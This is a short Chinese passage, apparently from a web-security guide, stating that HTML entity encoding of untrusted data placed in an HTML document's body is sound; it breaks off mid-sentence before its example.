对于放在 HTM L文档 body 中的不可信数据进行 HTML 实体编码是没有问题的,比如在